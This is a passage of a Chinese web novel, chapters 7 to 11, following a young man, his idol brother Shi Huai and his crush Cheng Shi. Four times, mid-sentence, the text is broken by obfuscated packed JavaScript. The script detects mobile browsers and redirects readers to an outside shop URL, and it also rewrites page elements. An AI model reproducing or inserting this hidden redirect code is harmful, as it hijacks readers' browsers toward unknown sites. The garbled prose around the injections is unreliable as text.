有句话怎么说来着,既然打不过他那就加入他。他常常会幻想有一天这个世界真的变成了游戏里的末日世界,大家都要打怪升级才能活下去。到那个时候肯定会有很多人都来抱时淮的大腿,只有他离大腿最近,分分钟抢占先机。 就算时淮不幸感染病毒变异了,也肯定是那种很厉害的终极大Boss,反正谁跟他作对谁倒霉。 应允想得起劲,眼睛看着屏幕心却不在上面,一个悬崖跳好几次都没跳过去。时淮把游戏手柄敲在他脑壳上,“打游戏也分心?” “没分啊。”他胡扯敷衍,“我就是在想这种地形,在现实里真跳下去是什么感觉。” 时淮看了他一眼,没说什么。 这种双人通关游戏不太会激起胜负欲,随时都能存档暂停。上一次玩还是在时淮出差之前,只玩了一小半,这回索性一推到底,用了五个多小时通关,天色已晚。 阿姨每天会固定来做一顿晚饭,两个人讨论着游戏吃完就又到点睡觉了。他平时不会睡这么早,但在时淮面前已经习惯性装得很乖。洗完澡躺在床上又起来,到阁楼上去想找个好看的盒子,把那条欧泊项链装起来。 小时候把这个阁楼当秘密基地,有什么觉得珍贵的东西都会放到这上头来,现在看都是些杂七杂八的小物件。 应允翻了半天,没找到什么容器能配得上他新收到的生日礼物,心想改天还是去首饰店里挑一个。 离开时被腿边的箱子绊了一跤,他下意识地扶住桌子摇晃了一下,书桌抽屉滑出来半截。里头满满当当摆的都是他从前的日记本。 也是很久没有见过的东西了。应允随手拿起一本,翻开能嗅到纸张陈旧的木质气味。里面每页都写得满满当当。起初是带着完成任务似的不情愿,后来发觉了话唠属性,也就不觉得难写了。 他小时候因为应小蝶车祸去世变成了孤儿,还接受过一段时间的心理治疗。其实他觉得没什么用处,但时淮每周六上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595679|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午都会过来接他去诊所报道。 做完心理咨询以后,时淮跟他说话的语气都会变温柔,而且剩下的半天时间,他想去哪玩都行,要什么都给买。为了那许许多多附加的好处,他也就勉为其难地配合了。 当时治疗的一项内容就是写日记,后来他写作文都被老师评价跟日记似的,像流水账。硬是从抒情记叙文往议论文上掰正,费了好大的劲儿。 应允随手翻到中间,看到自己歪歪扭扭的字迹。 “我不想住在我哥家里。 “不是我不想跟我哥一起住,而是我妈妈没有人陪很可怜。我知道她还在这栋房子里,我晚上shui着了就能看见她。 “时叔叔为什么要叫我去看医生?我不想看医生。我不给他开门。 “我让阿姨给我liang体温了,36.4度。我没有生病,为什么总要去看医生? “要是我哥来就好了。我只给他开门。 “……” “你哥来了也是带你去看医生。”应允嘀咕着往后翻了两页,泛黄的笔记本上全是他的碎碎念,时不时遇到不会写的字还蹦出个拼音,看起来不太聪明的样子。 时子虞的虞字也太难写。他喜欢画一个躺着的8,左边点上眼睛,右边不封口,就是简笔画的小鱼。后面的日记里也常常用这个符号代替他哥。 “今天是周日。周六我哥要上补习班,所以我们以后周日才去看医生。虽然我不xi欢去看医生,但我更不xi欢以后都要晚一天见到他。 “我不开心,我哥给我买棉花tang。我还是不开心,我不吃棉花tang,我妈妈才xi欢吃。 “我问我哥,她真的死了吗。我哥说是的,我看见他眼珠里有两片很小的亮光在抖。 “他好xiang觉得对小孩说话不能太直jie,就又补充了一句,是去另一个世界了。 “我知道另一个世界是只有死了才能去的地方。我就问他会不会开车,能不能让我也死过去找我妈。我觉得他会。我哥什么都会。 “可是他不理我,过了一会儿才说你确定要去吗?明天烤ye奶蛋ta。 “我chan了,就说我明天不死了。可我还是想见我妈,又说要不我后天再死吧。 “我哥说后天烤抹茶曲奇,里面有巧克力碎的那种。 “他怎么什么都会啊。 “……” 好好的日记越写越离谱。应允打了个哈欠,兴致寥寥地合上笔记本放回抽屉,下楼去卧室睡觉。 时淮刚洗完澡,浴巾只围了下.半.身,正站在饮水机边举着杯子仰头喝水,滚落的水珠划过梭动的喉结,不知道是从嘴角漏下还是从浴室里带出来的,色气值加满。 美人出浴,他少不得多看几眼。 时淮不回头都能察觉他的视线,“看什么?” 应允露出乖巧的笑脸,“数腹肌。” 睡前浅浅饱一下眼福,希望能做个美梦。他躺到床上滚了一圈,可能是受到日记里“我不开心”的精神攻击,总觉得原本还挺轻松的心情莫名绷得有些难受。 等时淮坐到床边,他就很自动地滚了半张床过来,“摸摸头。” 时淮睨他一眼,“你都二十了。” “哎呀,二十了也是哥哥的小狗。” 他不依不饶地往时淮身上拱,可怜兮兮的,“小鱼哥哥,摸摸头。” 8. 第 8 章 时淮没说什么,伸手关了床头灯,躺在床上的同时就被黏人的小狗贴到身上,哼唧个没完。 应允闭着眼睛继续乱拱。直到他哥受不了地骂了声闭嘴,张开手臂抱他。宽厚温暖的手掌落在他头顶,揉了几下还威胁似的捏他的后颈皮。力道比按摩店那种还要重一些,又疼又爽。 哥哥不让哼唧,他只能憋着声痛并快乐着,借着透窗而入的月色,余光里看到时淮环抱他肩膀的那只手,搭在他肩头的手背上还带着没洗干净的哭脸小幽灵。 心情莫名其妙地又好转起来。 “哥你身上好香。”他不安分地又蹭又吸气,“怪不得洗澡要那么久,是不是洗完了还要再用香水把自己腌一遍啊。你们男明星可真有心机。” “……” 时淮往他屁股上扇了一巴掌,“滚远点。” 他嘿嘿地笑,倒是真没再继续蹭下去,很听话地翻了个身往床里侧挪,挪出刚刚还十分享受的怀抱,带着困意不以为意地嘀咕。 “赶紧找个女朋友吧,对着我硬有什么用。” 他随口一句,视线所不能及之处,被背对的人却忽然僵住。躺了好半天,什么反应都消解了,才又叫一声小乖。 如果听到,应允从不会让他的呼唤落空。 应允没有回应,自顾自睡得很安稳。 时淮跟着往里挪了半个身位,放心地从背后抱他,埋在他颈窝里吸了一口气。比起应允光明正大的贴近亲昵,充满了心怀鬼胎的意味,只能掩藏在沉睡后的深夜里。 “为什么不高兴。”他自言自语般问了一句,下沉的尾音在浓重的夜色中扩散。 是烤饼干不好吃,还是游戏不好玩?是因为他,还是因为朋友圈照片里的那个女孩? 亲手养大的弟弟已经不像十几岁时那样对他知无不言了,还存着他明知存在却无法探究,也不该再探究的心思。 他不该探究。但他想知道。 应允无知无觉,砸了咂嘴唇发出一串口水声。睡梦里想要翻身抬腿表演个杂技动作,却被坚固的怀抱困住,挣扎两秒就放弃了。 他做了个奇怪的梦,梦里无数张作文纸围成密不透风的墙,把他包裹在里头手脚都缠起来。纸上写满了字,他看不清是什么内容,但很担心用力挣开会把纸弄破,所以老老实实的被缠了一夜,热得冒汗。 早上醒过来一睁眼,好家伙还是他哥在制裁他,半个人都压在他身上,手脚不得动弹。 今天没有出门计划,他还有两张作业没画,周一要交。自己起床干活又困又不忿,就扑腾了几下把时淮一块儿叫醒,亲兄弟就要有难同当。 感天动地,时淮很少会把起床气发在他身上。否则他怎么敢一大早在床上鲤鱼打挺。 冰箱里有面包牛奶和果汁,煎个蛋凑合能吃一顿。时淮木着脸面对早餐,看起来像一塑沉思的雕像,实则是还没睡醒。 应允还在上学,一周有四天都要上早课,七八点钟起床不算难事,是个既能早睡早起又能晚睡早起的狠人,“对了,哥,你们下半年演唱会首场在哪开啊。” 他咬着面包片,边看手机边说,“我有几个同学问我能不能给她们弄票。” 时淮拨了拨头发,闭着眼睛问,“要多少。” “可能……五六七八,十来张?” “……” “就八张吧。”他立刻适可而止道,“你们八个人嘛,这数吉利。” “嗯。”时淮说,“回头给你。” 应允还在心里打小算盘,“最好是内场的,不然拿不出手。” August演唱会的票向来都很难抢,一票难求。内场的票位置更好也更贵,有人肯加双倍甚至三倍的价钱,都想要一张。不过他是个有良心的中间商,原价转手出去就行了。 时淮估计以为他拿了票是要送同学去看的,他可不能暴露自己是个票贩子。 否则怎么攒钱买大摩托呢。 应允还没有死心。 他哥的摩托不给骑就算了,等他攒够了钱自己买一台,天天都能去后山偷偷飙赛道过瘾,还用得着撒娇耍泼地申请么。 “你哪个同学要的,”时淮却清醒了些,又问,“关潼?” 他是认得关潼的。应允摇头,含糊道,“就平时班上那些同学,随便应付应付。” 他很少在时淮面前撒谎,主要是一开口就大概率会被识破,说这话的时候都没敢抬头,使劲往面包片上涂果酱。 还好时淮的注意力不在正确的方向上,“我还以为你是为了送她,才开口就要五六七八张。” “哈?” “追女生的惯用手法。” 这就跟为了给暗恋的同桌送水所以给整个班同学都送了水是一个道理。应允听懂后很是不屑,“我才不是那么老套的人好吗。” “要是我想追谁,肯定只对他一个人好,让别人一下就看出来我们是特别的。干嘛遮遮掩掩,说不定还会错意了,以为我喜欢别人呢。” 他顿了一下,后知后觉道,“你不会也以为我喜欢关关吧。” 昨天他哥也看到朋友圈那组照片了,点赞的速度还是第一名,不知道有没有看到什么情侣装之类的评论。他们俩应该没什么共同好友吧? “那小姑娘不错。” “我们俩当哥们儿混的。” 应允一本正经地声明,“再说了,我心目中的老婆另有人选。” “是么。那你那个老婆呢,”时淮不经意似的问,“追得怎么样了?” 这可就说来话长了。应允给自己开了瓶柠檬茶娓娓道来,从关潼牵线介绍到后来相谈甚欢,再到现在,每一次他发晚安消息对方都会回应,“我觉得他也有点喜欢我。要是能见一面就好了,见到面我就能确定他对我有没有那个意思。” 虽然喜欢看美人,也确实见过不少,但他真正想谈恋爱的对象从小到大都没遇过几个。现在难得遇到了,还正是暧昧上头的时候,说起来语气都能冒粉红泡泡,“他真的好温柔啊,我好想见他。” 时淮听着他滔滔不绝地讲了半天,早餐一口都没吃。到最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595680|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后才喝了口水润嗓,问他,“喜欢温柔的人?” 应允叹气,“谁会不喜欢呢。” 谈恋爱这种话题,其中大有感受可聊。但仔细想想,这个话题反而是他跟他哥聊得最少的。 很难想象时淮待在那样一个帅哥美女扎堆,个顶个会来事的工作环境里,长了一张荤素不忌男女通吃的帅脸,至今为止居然一次恋爱都没谈过。据他自己说是因为见多了就觉得都没什么意思。 应允有时候也觉得他可能天生性格就这样,不会喜欢什么人。有时候又觉得是他还没遇到喜欢的类型,真动心了说不定分分钟从高岭之花变成凡夫俗子,为爱献身爱到变形什么的,“你好像从来没跟我说过,你喜欢什么样的。” 时淮平时对这个话题一点都不感兴趣,也不会往自己身上引。今天倒是多了一句,反问他,“你觉得是什么样。” “我怎么觉啊?一点猜测依据都没有,觉不出来。”应允对未来嫂子的要求简单且清晰,只有一条,“反正长得好看就行。” 时淮笑了一声,不置可否,意味不明。 应允觉得他这副高深莫测的表情骗小姑娘应该就挺好使。一般的小姑娘肯定会小鹿乱撞,盯着他的脸想自己是不是说了什么讨他欢心的话。谁能看得出他只是觉还没醒,想浅浅敷衍一下呢。 应允自顾自地想,只有他这个弟弟看得出来。 为自己骄傲一秒钟吧。称他个“狮子鱼资深研究学者”也不为过。 他哥就是不着急找对象才这样的,等什么时候想找了,凭这条件,脱单肯定是分分钟的事。不过“时淮主动找对象这件事”在他脑海里还很遥远,起码肯定不会比他还先谈恋爱。 他也不知道这种根深蒂固的潜意识从何而来。可能是他哥平时冷淡禁欲的形象太深入人心,反正跟他这种天天睁大眼睛看帅哥的恋爱脑是完全不一样的。 今天天气预报外面有小雨,他一整天都待在家里,埋头画作业。虽然要求交上去的只有两张,但是画的肯定不止这么多,废稿就随手往地板上一扔,完事了再一起收拾。 时淮不会叫他,同在屋檐下各做各的事。倒是他画着画着想起他哥还在旁边,时不时地忽然喊一嗓子,时淮也会应。 画完最后一张作业,应允又喊了一声,本来想顺便问问晚上吃什么,这次却落了个空。 他回头望了眼沙发,刚刚还半躺在那里翻他教材书的人不知何时没了踪影,一边往外走一边继续嚷嚷,在门外连着院子的走廊看见时淮在接电话,朝他打了个暂停的手势。 外面没有下雨,但天色阴沉得厉害,站在外面的人身上也像被蒙了层灰影。他没再继续喊了,不过有点好奇想凑近听个热闹,刚走到身边时淮就结束了电话,“谁啊。” “我爸。” 怪不得接电话的时候是这种表情。应允顿了一下才说,“时叔叔又给你安排什么任务了?” 话音刚落,他看到那种高深莫测的神情又出现在他哥的脸上。 时淮说,“叫我回家相亲。” 9. 第 9 章 应允一愣,脑子里慢半拍地把“相亲”两个字跟眼前的人结合在一起,才发觉他哥好像确实是到了会被家长催婚的年纪。 主动找对象是遥遥无期,可成年人的世界里还有被动找对象这一说。“你想去吗?” 他其实觉得时淮工作干得好好的,不缺小姑娘追,还不用着急结婚不结婚的事,“不过去看看也行,好玩儿的话回来跟我讲讲,相亲是什么样。” 应允想自己又没爹又没妈的,还喜欢男人,估计这辈子都不会有人张罗着给他相亲了。自己没机会体验,也就只能从他哥这儿听听故事。 时淮没说去,也没说不去,只是往他脑袋上拍了一巴掌,“翅膀硬了?管起你哥来了。” “谁管你啊。”应允摸着后脑勺嘀咕,“走了走了赶紧进屋,待会儿说不定要下雨。晚上想吃水煮鱼片。” 他知道August今天第二次合约就到期了,已经出道的男团只有八名成员全员续约才会继续以团体形式活动,否则就相当于解散。 八个人这些年来各自经营,都有着不错的成绩,时淮的工作室也运转良好,发掘了两三个势头不错的新人。这个时候要是顺势不续约,退居幕后当老板,也正好能安安稳稳地谈恋爱结婚,恋情不会像在舞台上活动时那样受到太多限制。 卡在这个适合的时间点叫儿子回家相亲,时牧桓属实是精心考虑过的。 早年他还是个小星探,后来手里有了些资源就自己做经纪公司,职业生涯的毕生追求就是打造出一个能登上世界级舞台的超级巨星。 时淮就是他最满意的作品。 他本来是想让儿子solo道的,算了命改了名,一出道就往新人王的位置上推。可后来多方权衡顺应时势,还是放弃了高风险的规划,打造出男团August。 August出道后也是势如破竹,全球巡演盛况空前。对时牧桓而言,比起赚得盆满钵满,实现了人生目标才是更要紧的事。下一步他就到了退休的年纪,人生目标大概也会变成要给儿子找个最满意的儿媳妇之类的。 说不定还要朝着自己的孙子下手,再培养出一个小时淮。 应允对这个“前继父”的印象不好,主要是觉得他对时淮不好。 大部分望子成龙的家长都会督促孩子好好学习,认为唱歌跳舞当明星是不务正业的事,听到孩子有成名的念头也会说一句“白日梦”。时牧桓父子正好相反。 时淮一直成绩优异,对当明星没什么兴趣,做练习生也压根不是自己的意愿。就因为有个望子成名的爸,初三以后再也没过过正常的校园生活。 好在他哥是干什么都优秀的人,当明星也是事业有成,前几年没日没夜训练的苦都没白吃。不过应允至今都不明白,为什么当年时淮会在那种人生重大抉择上放弃自己的喜恶,听他爸的话。 说不定现在,时淮也会听他爸的话,去跟一个不认识的女人相亲,谈恋爱甚至结婚。 一不小心想得远了,应允晚上觉都没睡踏实。 虽然他也撺掇时淮去相亲,但只是随口一说,觉得是去玩玩而已。 一旦认真思考,发现这可能是会影响他哥下半辈子的大事,他就觉得连自己的人生都要随之动荡了。 远的不说,时淮要是结了婚,肯定得跟自己的老婆睡一块儿吧。哪还有他这个弟弟上床的份儿。 这可不行。他偶尔也是需要一个同床共枕的撒娇对象来解放天性的。 他必须拥有一个自己的老婆! 找对象的热情熊熊燃烧。 程识住在茂华市,来不了不要紧,他可以去。反正他每到没课的时候也都在家里闲不住,从明海到茂华三个小时高铁,对异地恋而言也不算是很远的距离。 剩下的问题就是该怎么开口了。 前段时间茂华下了场罕见的暴雨。大雨冲了旧城区,程识住的地方也进了水,带着亲戚家的小孩差点流落街头。恰好被高中时的班长遇到,接回了家暂时安顿,现在也还住在那。 如果他去找程识,去别人家到底不太方便。好在程识最近就打算找房子往外搬,他积极地帮忙出主意,想着等人家单独住了再过去玩,由头就说是祝贺乔迁新居什么的,信手拈来合情合理。 时淮的工作经常要几个城市之间跑,这周又去外市出差,暂时没空亲自盯着他养生作息,还是微信电话联系。 应允偷偷摸摸过了两天喝酒蹦迪的日子。这天通宵打游戏又睡到中午,忽然接到关潼的电话。 本来还迷糊着,听到关键词的那一刹困意无影无踪,“程识……来明海了?高铁站?现在?!” “还有半个多小时就到了!他没告诉你啊?我把车次发给你。” 关潼刚出校门,脚步匆匆,“我打算现在去接他,顺便下午旷个课。你要不要去?” 那必须去啊! 老婆! 应允跳下床冲去洗了把脸,顺便给甄焕发微信也旷了下午的课,开车接上关潼直奔高铁站。 外面还下着雨,一夜之间气温骤降好几度。他着急跑出来只穿了件短袖白T恤,被冷风吹得一哆嗦,但还是兴奋得不行。 拉风的红色法拉利一头冲进雨幕。连关潼都看不下去了,说他眼睛直放光。 “他还没从上一段感情的阴影里走出来,终于想通了愿意接触新朋友挺不容易的。”关潼说,“你别太着急表白,免得吓着他。要循 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595681|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序渐进,好好对他知不知道。” “放心吧,”应允信誓旦旦,“我是什么人你不知道啊,专业收留破碎美人心。” 但外面真的太冷了。他把车停进地下车库,在车里的暖气和车外面的老婆之间挣扎了两秒,被关潼看出来,一脸嫌弃,“怕冷可是追不到老婆的。” “可我出去了万一冷得瑟瑟发抖的,也影响形象啊。”应允降下车窗,把胳膊伸出去又收回来,给她看,“我这敏感的立毛肌。” “……” 他对温度确实敏感,身娇体贵尤其还怕冷,光是胳膊伸出去一会儿就起了一片小鸡皮疙瘩。关潼叹了口气,“那你在这等着,我去把他接过来。” 停车场上面就是出站口。他们来的时间正好,关潼没等几分钟就接到了人。 程识就走在她身边,有说有笑地推着行李箱,怀里还抱了个三四岁大的小男孩,把他半个身子挡得看不太清。 应允坐在车里远远看着日思夜想的人离他越来越近,心跳声如鼓擂鸣,紧张得大脑空白,打开了车门探出身去迎。 脑子转不动的时候反正笑就对了,他哥说他笑起来模样更好看。 程识本人果然比视频里更令人心动,眉眼如画,嘴角噙着温软的笑意,讲话声音也是舒缓和煦的,“小允?你好呀,可算见到你了。” 真是对温柔的人毫无抵抗力。应允害羞得脸红,目光却还黏在他身上挪不动,一连声地说,“小识哥,快上车吧外面冷。” “好。”他抱着小孩上了车,“这是小君。快看,这个是小允哥哥。” 应允之前也只见过这孩子的照片。小圆脸肉乎乎的,一看就被养得很不错,“你好啊小君。” 程晓君望着他眨了眨眼,两根短短的小指头捏合在一起,给他比了个心。 最近关潼家里没人,提前获得了她哥关浔的房间使用权,带程识回家住下玩几天。 应允是临时得到的消息,连争取都没有机会。不过想想程识是拘谨的性格,怕给朋友添麻烦,愿意住在关潼那已经不容易了。他就算真的开口,估计也是被拒绝的可能性更大。 一路上商量着待会儿要在家吃火锅,买食材叫外卖什么的。程识时不时被点到才会笑着回应,大部分时间都抱着孩子安静地坐在后排,听他跟关潼拌嘴闲扯。 车开进小区,毛毛雨还在下。 程识行李不多,只有一只旅行箱。应允责无旁贷地去帮忙拿行李,一只手刚碰到箱子,另一只手里握着的手机震动起来。 他低头看了一眼,微信通话的邀请来得很不凑巧。 “哎。”关潼也看见了,幸灾乐祸地朝他扬了下眉毛,“你时哥的电话诶。” 10. 第 10 章 应允胆大包天地挂了电话,头脑发热的短暂时间里,眼中只有他未来老婆,“小识哥,走这边,别被雨淋着了。” 他一只手推着行李箱,另一只手还想帮程识撑伞。可程识要抱着孩子,两大一小三个人挤一把伞底下不太够用,只能遗憾地放弃了增加好感度的机会。 关潼在前面引路,到家后就带程识去看晚上要住的房间。 他吹着冷风从车里走到室内,过热的脑子也冷却下来了,蹲在客厅抱着手机想怎么解释刚才的拒接行为。 时淮给他发了微信。 【不在学校?】 【下午是不是要逃课】 【去哪】 一猜一个准。应允被制裁三连,扒了扒头发谨慎地回复。 【刚刚打游戏腾不出手】 【下午找关潼玩】 程识才刚到明海,他还得要时间好好培养感情的。这时候要是给他哥知道了,出完差直接过来逮他怎么办。多破坏氛围啊。 ——虽然眼下的氛围也不见得能暧昧得起来。 程识还带着个小孩子呢。程晓君时时需要照顾,他能跟程识两个人独处发展感情的机会估计不多。 本来就不多,再被他哥搅合掉可就糟了。 可能是心里有鬼,应允总觉得自己这两句的语气有点问题,做好了再被盘问的准备。可意外的是时淮没再多问什么,让他晚上回家了再打电话。 就这么轻易地被放过,他反倒盯着手机琢磨上了,有点不习惯。 “发什么呆呢。” 参观完房间,关潼和程识一起走出来,“待会儿外卖就到了,我得先找找锅。小允哥过来帮忙。” 应允:“哦,来了。” 他放下手机,也暂时把疑虑丢在一边,想着得在未来老婆面前表现一番。可从小过的就是十指不沾阳春水的少爷生活,厨房里这些事还没他哥懂得多,连吃火锅的锅都没用过。 关潼有个靠谱的哥,因此也跟他一样从小到大都过着废物点心的生活,有手有脚自理能力一塌糊涂。到头来程识把孩子往地垫上一放,塞了只玩具,还得挽起袖子亲自上。 应允看着他娴熟自如地调度厨房,调出各种口味的好吃蘸料,双眼持续发光,笑得嘴角就没下来过。 这不就是他梦想中的老婆吗。 “别放电了大哥。”关潼揶揄地拍他肩膀,“看看我们订的食材,外卖怎么还没到啊。” 天气原因,配送迟缓。他们围坐在沙发边听着雨声闲聊,程晓君自顾自地跟玩具相处融洽。 应允看着他想,程识是很疼这个小宝贝的,那今天回去就挑点新玩具,拿来送给他。也算是投其所好。 程识一大早起来带着小孩赶高铁,有点累了,阴雨天昏暗的光线和环境音也很适合打盹。等外卖时靠在沙发旁没说几句话就睡着了。 “有没有什么能盖的,小毯子之类的。”他压低声音问关潼,“顺便把你哥的外套给我找一件?冷死我了。” 房间里还是不如车里暖和,但在喜欢的人面前,再冷也要装成百毒不侵的模样。 关潼看透了这种男人的小把戏,撇撇嘴去屋里找出两条毯子拿来,“我哥的衣服我可不敢乱动,只有他男朋友能穿。” 应允火速披了一条,然后轻手轻脚地把另一条展开,盖在睡着的程识身上。 睡美人眉间若蹙,微抿的嘴唇是樱花般好看的淡红色,白净的脸庞上能看出疲惫的影子,不设防的脆弱模样格外令人心生怜惜。 应允看了又看。 心动。 嘴唇看起来好好亲。 外卖在这时送达。他恋恋不舍地移开眼睛,起身去拎回两大袋食材放到厨房,“你来还是我来?” 干活和看孩子二选一。关潼心领神会,隔着半个客厅跟他剪刀石头布,赢了猜拳理直气壮地选择陪程晓君玩儿。 应允愿赌服输,打开袋子一样样拿出来,低头洗菜。还好火锅要涮的食材都不讲究刀功,他掐头去尾地择了一通,太大了不好下锅就拿刀劈成两段,像模像样地装了好几盘。 程识这一觉睡得熟,许久都没醒。他跟关潼也不忍心叫,准备好一切后暂时没下火锅底料,各自安静地玩手机。 他关掉声音打了几把游戏。今天匹配的阵容都不太行,选法师被对面刺客针对,选辅助被队友追着骂,连跪好几把。 放弃了再来一把的念头后,他裹着小毯子望向窗外,心情就跟屋檐外的冷雨差不多,凄凄惨惨戚戚。 好想吃火锅。 他起身到厨房里转了一圈,正在踌躇要不要尝尝调好的蘸料解馋时,听见关潼的声音,“老婆醒了!快快快!” 应允迅速把小毯子甩到一边,应声撕开火锅底料下锅。 程识悠悠转醒,缓慢地坐起身揉了下眼睛,“小君……啊,我是不是睡太久了。” “没事啦,在这里随意,舒服就好。”关潼乐呵呵地说完,余光里看厨房那边的人又穿着件短袖,正在搓胳膊上激起的鸡皮疙瘩。 死要面子。 应允想待会儿火锅吃起来就不冷了,在“面子”和“暖和”之间果断的选择了前者,“对了小识哥,刚刚你有电话,看来电显示是你班长打来的。” “……啊。”程识一怔,去摸手机的动作有些慌张,“是什么时候打来的?” 在他上一把游戏里我方水晶被打爆的时候。应允悲伤道,“还没几分钟呢。” 程识说,“嗯,那我给他回个电话。” 夜色降临。火锅底料的香辣味开始在房间里蔓延,还没开始吃,闻到心里就已经觉得暖和了。 应允想起自己上一次吃火锅,好像还是跟时淮。 除夕夜他自己在家里跨年,阿姨回家之前给他做了一大桌子菜。但是那天他感冒了,吃什么菜都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595682|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没味道,就想吃点重口的。在微信里跟时淮哔哔赖赖,说想吃火锅。 零点到来时,电视机里的钟声和烟花混着外面的一起炸响,他被震得耳鸣,过了好一阵才听见被零点热闹的动静覆盖的敲门声。 打开门时淮就在外面站着,拎了一大袋子火锅食材,叫他赶紧往屋里退,“外面冷,下雪了。” 新年的第一天,他们俩把餐桌搬到落地窗前,看着雪吃火锅吃到凌晨三点。 他被感冒病毒拖累得味觉失灵,其实吃火锅也吃不出什么味道来,但就是舍不得停下筷子。吃到最后撑得不行,歪倒在他哥腿上睡着了。 一觉睡醒天光大亮,他已经被挪到床上安安生生地躺着。时淮走之前在床头留了便签,让他按时吃药,到点就会给他打电话。 他却觉得自己已经好了。 是被一顿没味道的火锅给治好的。 ** 应允忽然感到有些愧疚。 他哥对他那么好,他却在瞒着他哥搞对象,在他哥忙着工作的时候跟别人一起吃火锅,未免太…… 太…… 太不孝顺了? 他也形容不来,反正心里不怎么好受。趁着程识给别人回电话的时候,自己也主动给时淮发了微信。 【[图片][图片]】 【哥!!】 【表情包】 他把连跪的战绩截图发了过去,凄凄惨惨戚戚,还配了个小狗流泪的表情包。 他哥也会打游戏,而且就是传说中的野王哥哥,巅峰赛里乱杀带飞的那种。不过平时无视了无数加好友的申请,没带过妹,只带过他跟August团里几个笨弟弟。 片刻后,时淮截图了一张新鲜出炉的对局战绩。十几分钟结束,胜方mvp。算算时间,开局的时间也就是他刚退出游戏,在馋火锅蘸料的时候。 差一点就能在峡谷里相遇了。应允遗憾地想着,彩虹屁也麻利地跟上。 【不愧是你!】 【对了,我们今晚吃火锅】 【哪一家?】 【不是外面店里,在关潼家吃的】 【嗯】 【几点回家?】 几点回家呢。 应允严肃地思考了这个问题。 外面太冷了,他都不乐意出门。要是待会儿聊到大半夜,干脆在沙发上凑合睡一觉? 【还没定,吃完饭看情况吧】 【也可能不回】 正好他明天早上还想带程识去茶楼吃早点,也省得来回再跑一趟了。 时淮没回消息。他以为聊天告一段落,火锅也已经滚开了,就先坐到桌边往里下了些吃的。 热辣的牛油味直窜鼻腔,诱人胃口。肥瘦相间的雪花肥牛在沸腾的红汤里迅速熟透,他正要捞起来,手机在桌面上震了两声。 【知道了】 【注意做好保护措施】 11. 第 11 章 在朋友家过夜为什么还要做好保护措施。 我的朋友会暗鲨我? 应允没细想,余光里看见程识还在打电话,很有眼色地把涮好的小肥牛先捞到程识碗里。 稍后关潼抱着小君一起过来,看他只顾着照顾程识还嫌弃地说他厚此薄彼。 “一个一个来嘛。”应允象征性地给她也捞了一筷,暗怀鬼胎地偷偷瞧了眼心上人的反应。 可惜程识心事重重的模样,没有注意太多细节,只是对他道了声谢,抱歉道,“今晚我就还是不住这里了,待会儿有人过来接我去酒店住。” 应允心中一凛,“谁啊。” “班长呗。”关潼刚刚在旁边听了一耳朵。“就是暂时住在他家里那位。” “嗯,他也在明海出差。我原本想过来玩几天再告诉他的,可才刚到这就被发现了。” 程识无奈地笑了笑,温声道,“我带小君过去跟他住。他现在正过来接我,吃完火锅应该就到了。我们明天再出去玩吧。” 班长?酒店?一起住?! 那不就是跟别的男人睡一个房间一张床?! 即使是中间隔一个程晓君也不行! 应允反应过来,立马义正言辞地劝,“酒店那床多挤啊,你住在这就挺好的,干嘛还再跑一趟,折腾得多麻烦。再说他出差还得工作,怎么照顾你们呢?说不定半夜加班回来还吵你们睡觉,休息不好都没精力出去玩了。” “没事的。”程识说,“酒店的标间是两张床。我在家里带着小君也习惯了,不用怎么照顾的。” “那,那……那也不行!”应允满脑子黄色思想,为他未来老婆的人身安全着急,“要不你跟我走吧小识哥,我给你找地方,保证给你安排得舒舒服服的。” 酒店那是什么地方啊?更何况是去跟一个可疑的成年男人一起住。有程晓君在也不一定挡得住,两张床腾出来一张放孩子,另一张给大人办事还更方便呢。 自从知道程识跟那个高中班长住在一起后他就觉得事情有点不对劲。要是普通的老同学多年没联系,再见面也应该生疏了才对,即使恰好遇到困难伸出援手,也不至于殷勤到直接把人带回家里同居的地步。 “不用这么为我费心。” 